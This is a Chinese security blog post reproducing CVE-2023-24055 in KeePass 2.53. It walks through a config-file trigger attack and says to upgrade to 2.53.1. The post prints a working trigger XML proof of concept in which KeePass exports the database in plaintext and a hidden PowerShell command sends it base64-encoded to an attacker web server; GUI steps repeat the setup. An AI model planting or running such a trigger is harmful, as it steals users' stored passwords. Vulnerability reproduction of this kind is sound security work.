CVE-2023-24055 KeePass信息明文传输漏洞复现

news2024/12/28 23:53:07

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

如果文章中的漏洞出现敏感内容产生了部分影响,请及时联系作者,望谅解。

一、漏洞描述

漏洞简述

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

漏洞影响范围

供应商:KeePass

产品:KeePass Password Safe 2

确认受影响版本:KeePass 2.53版本

修复版本:KeePass 2.53.1版本

二、漏洞复现实战

环境搭建

Step 1 KeePass 2.53

576b092207bcf8031d570af23b0556bc.png

Step 2 KeePass翻译语言包

将语言包文件复制至安装路径下“Languages”文件夹下

357c97d834de3f9c604708428c6c8593.png

翻译语言包

在KeePass中进入语言设置,切换语言

b977500dd7e5ee0dae2b3249612cbe78.png

切换语言

漏洞复现

根据原理,在安装路径下的配置文件KeePass.config.xml,根据触发器功能的安全缺陷进行利用。

创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式:

(1)POC写入配置文件

将编写好的POC代码写入KeePass.config.xml,须符合触发器XML格式。

其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。

利用powershell以GET方式传输数据库中密码文件。

POC

<TriggerSystem> 
    <Triggers>
                <Trigger>
                    <Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
                    <Name>exploit</Name>
                    <Events>
                        <Event>
                            <TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
                            <Parameters>
                                <Parameter>0</Parameter>
                                <Parameter />
                            </Parameters>
                        </Event>
                    </Events>
                    <Conditions />
                    <Actions>
                        <Action>
                            <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
                            <Parameters>
                                <Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>
                                <Parameter>KeePass XML (2.x)</Parameter>
                                <Parameter />
                                <Parameter />
                            </Parameters>
                        </Action>
                        <Action>
                            <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
                            <Parameters>
                                <Parameter>PowerShell.exe</Parameter>
                                <Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter>
                                <Parameter>False</Parameter>
                                <Parameter>1</Parameter>
                                <Parameter />
                            </Parameters>
                        </Action>
                    </Actions>
                </Trigger>
            </Triggers>   
            </TriggerSystem>

921a3b2fa8c1f1a1dccc53f3b5858879.png

修改KeePass config xml

保存KeePass.config.xml文件,触发器功能查看exploit触发器

(2)通过触发器功能手工创建触发器

exploit触发器配置如下:

属性项:命名为exploit,其余默认配置

f8175c5f886c7000416e61f1643bf564.png

触发器属性

事件项:选择Saved database file(已保存数据库文件),判断条件选Equals(相等)

d572c915b56c081c4531d577099cae1b.png

触发器事件

条件项:为空

4b4e8310c76659c72871b54166cb1d7e.png

触发器条件

操作项

  1. 1. 导出当前数据库

文件路径为上述文件传输路径

文件格式选择 KeePass XML (2.x)

  1. 1. 执行命令行/URL

文件路径为PowerShell.exe ,使触发器执行PowerShell

参数选择攻击接收的路径

窗口方式选择Hidden

bdf1de3fc85c758f8bb56148382b2b0f.png

触发器操作

完成创建,可以看到exploit触发器

在攻击机 创建web服务,后续接收传输后的密码明文;

在KeePass中新建一条密码记录并保存,可以看到攻击机终端已接收到明文信息

8a19174a2eeafbf5615a73bd5ac21bbb.png

添加记录

fff1eea99945342cff76474729a9d27d.png

收到明文传输内容

进行base64解码,可以看到内容为密码记录内容,包含账号与密码等敏感信息。

836ed9998a1737eb9e9f2d05a6c254d4.png

base64解码后结果

漏洞修复

建议更新至KeePass 2.53.1 版本

结束语

本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程,漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全、热点安全研究分析等安全相关

通过审核并发布能收获200-800不等的稿酬

更多详情介绍,点我查看

012ce54c7ffd53edbd424301508a7bca.png

20251f9e09e07b50411c3227002ba1f9.png

ae871e9f10296acd1da0b92bcb9ffadd.gif

靶场实操,戳“阅读原文“

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/360503.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

STM32 SystemInit()函数学习总结

拿到程序后如何看系统时钟&#xff1f;User文件夹——system_stm32f4xx程序&#xff0c;先找systemcoreclock(系统时钟&#xff09;但是这里这么多个系统时钟应该如何选择?点击魔法棒&#xff0c;然后点击C/C可以看到define的是F40_41XXX.USE这一款 &#xff0c;对应着就找出了…

R语言、MaxEnt模型融合技术的物种分布模拟、参数优化方法、结果分析制图与论文写作

基于R语言、MaxEnt模型融合技术的物种分布模拟、参数优化方法、结果分析制图与论文写作技术应用第一章、理论篇以问题导入的方式&#xff0c;深入掌握原理基础什么是MaxEnt模型&#xff1f;MaxEnt模型的原理是什么&#xff1f;有哪些用途&#xff1f;MaxEnt运行需要哪些输入文件…

对云原生集群网络流量可观测性的一点思考

问题背景 在云原生技术的广泛普及和实施过程中&#xff0c;笔者接触到的很多用户需求里都涉及到对云原生集群的可观测性要求。 实现集群的可观测性&#xff0c;是进行集群安全防护的前提条件 。而在可观测性的需求中&#xff0c;集群中容器和容器之间网络流量的可观测性需求是…

别错过!4C首发直播,上届全国总冠军带你入门赛题

和志同道合的伙伴并肩作战&#xff0c;用指尖敲出奇思妙想&#xff0c;飞桨黑客马拉松PaddlePadddle Hackathon第四期全新升级&#xff0c;开放报名啦&#xff01; 玩技术&#xff0c;秀操作&#xff01;这是一场高手云集的开发者盛会。四大赛道&#xff1a;核心框架开源贡献&…

Python每日一练(20230221)

目录 1. 不同路径 II 2. 字符串转换整数 (atoi) 3. 字符串相乘 1. 不同路径 II 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为“Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中…

一文讲明Hystrix熔断器

前言 解决问题: 主要防止服务器集群发生雪崩, 起到对服务器的保护作用 GitHub地址&#xff1a;https://github.com/Netflix/Hystrix/wiki 1 Hystrix是什么 1.1 分布式系统面临的问题 复杂分布式体系结构中的应用程序有数十个依赖关系&#xff0c;每个依赖关系在某些时候将不…

Milvus 群星闪耀时|又一个小目标达成 :社区正式突破 15,000 星!

如果把 Milvus 看作开源世界中的一束微光&#xff0c;那用户便是无垠宇宙中点点闪烁的星光。用户每一次点亮 star 之时&#xff0c;Milvus 就会迸发出更加耀眼的光芒。不知不觉&#xff0c;已有数以万计的 star 为 Milvus 而亮。2022 年 4 月&#xff0c;Milvus 在 GitHub 的 …

【C++】-- C++11基础常用知识点(下)

上篇&#xff1a; 【C】-- C11基础常用知识点&#xff08;上&#xff09;_川入的博客-CSDN博客 目录 新的类功能 默认成员函数 可变参数模板 可变参数 可变参数模板 empalce lambda表达式 C98中的一个例子 lambda表达式 lambda表达式语法 捕获列表 lambda表达底层 …

【Pytorch项目实战】基于PaddlenHub的口罩检测与语音提示

文章目录一、项目思路二、环境配置1.1、PaddlenHub模块&#xff08;飞桨预训练模型应用工具&#xff09;&#xff08;1&#xff09;预训练模型&#xff1a;pyramidbox_lite_mobile_mask&#xff08;2&#xff09;face_detection人脸检测模型&#xff08;默认为 pyramidbox_lite…

TCP的三次握手、四次挥手

文章目录前言一、一些重要字段的含义二、TCP总括图三、三次握手详细过程1.第一次握手2.第二次握手3.第三次握手三次握手小结4.为什么必须要进行三次握手&#xff0c;两次或四次就不行四、四次挥手1.第一次挥手2.第二次挥手3.第三次挥手4.第四次挥手四次挥手简述前言 一个TCP的…

MySQL中自带的数据库表相关介绍

mysql的自带数据库表主要有以下几个&#xff1a; &#xff08;1&#xff09;information_schema &#xff08;2&#xff09;performance_schema &#xff08;3&#xff09;mysql &#xff08;4&#xff09;sys &#xff08;5&#xff09;可能存在空数据库test 一、informa…

预告|2月25日 第四届OpenI/O 启智开发者大会昇腾人工智能应用专场邀您共启数字未来!

如今&#xff0c;人工智能早已脱离科幻小说中的虚构想象&#xff0c;成为可触及的现实&#xff0c;并渗透到我们的生活。随着人工智能的发展&#xff0c;我们正在迎来一个全新的时代——数智化时代。数据、信息和知识是这个时代的核心资源&#xff0c;而人工智能则是这些资源的…

【TensorFlow 】查看Tensorflow和python对应版本、将现有的TensorFlow更新到指定的版本

1、查看Tensorflow和python对应版本 1.1这里我是在TensorFlow官方网址产看的 1、打开官方网址 https://pypi.org/project/tensorflow/1.1.0rc2/#files但是这个网址好像打不开&#xff0c;点击会出现这样 问题不大 输入Tensorflow然后点击搜索&#xff0c;就会跳转到https://p…

[蓝桥杯 2015 省 B] 移动距离

蓝桥杯 2015 年省赛 B 组 H 题题目描述X 星球居民小区的楼房全是一样的&#xff0c;并且按矩阵样式排列。其楼房的编号为 1,2,3,⋯ 。当排满一行时&#xff0c;从下一行相邻的楼往反方向排号。比如&#xff1a;当小区排号宽度为 6 时&#xff0c;开始情形如下&#xff1a;我们的…

复旦发布国内首个类ChatGPT模型MOSS,和《流浪地球》有关?

昨晚&#xff0c;复旦大学自然语言处理实验室邱锡鹏教授团队发布国内首个类ChatGPT模型MOSS&#xff0c;现已发布至公开平台https://moss.fastnlp.top/ &#xff0c;邀公众参与内测。 MOSS和ChatGPT一样&#xff0c;开发的过程也包括自然语言模型的基座训练、理解人类意图的对…

XXL-JOB 分布式任务调度平台

1.什么是XXL-JOB XXL-JOB 是由国人许雪里开发的一个 开源的轻量级分布式任务调度平台。 学习简单、轻量级、易扩展&#xff0c;开箱即用&#xff0c;现已开放源代码并接入200多家公司线上产品线 2.XXL-JOB设计思想 a.将调度行为抽象为调度中心公共平台,而平台本身不承担业务…

[oeasy]python0089_大型机的衰落_Dec小型机崛起_PDP_VAX网络

编码进化 回忆上次内容 上次 回顾了 计算机存储单位的演变 最小的读写单位 是 bit 8-bit 固定下来 成为了字节(Byte) 位数容量8-bit1Byte1024Byte1 KB1024 KB1 MB1024 MB1 GB1024 GB1 TB 存储字符时 第1位 是 标志位后7位 是 ascii具体的值 可以用 1Byte 存储 计算机之间 …

Java:什么是异常?什么是异常处理?

Java中的异常处理不是一个容易的话题。初学者很难理解&#xff0c;即使是经验丰富的开发人员也可以花几个小时讨论应该如何抛出或处理哪些Java异常。这就是为什么大多数开发团队都有自己的一套关于如何使用它们的规则。如果你是一个团队的新手&#xff0c;你可能会惊讶于这些规…

HR:你会Python数据分析吗?

之前看到一个段子&#xff1a; 以前去面试&#xff0c;HR会问你“精通office吗&#xff1f;” 现在去面试&#xff0c;HR会问你“会Python数据分析吗&#xff1f;” 图片来源&#xff1a;网络 大数据时代&#xff0c;无论是数据分析师、研发&#xff0c;到运营、市场、产品经…

AI 在编程、写作、绘画领域的占卜:从 GitHub Copilot 到 ChatGPT,再到 Stable Diffusion...

PS&#xff1a;就当前节点&#xff08;2023.02.22&#xff09;而言&#xff0c;我虽然研究过一段时间传统的机器学习&#xff0c;但是并不擅长深度学习等领域&#xff0c;所以很多 AI 领域相关的词汇&#xff0c;我是不擅长的&#xff0c;只为自己总结一下&#xff0c;方便在未…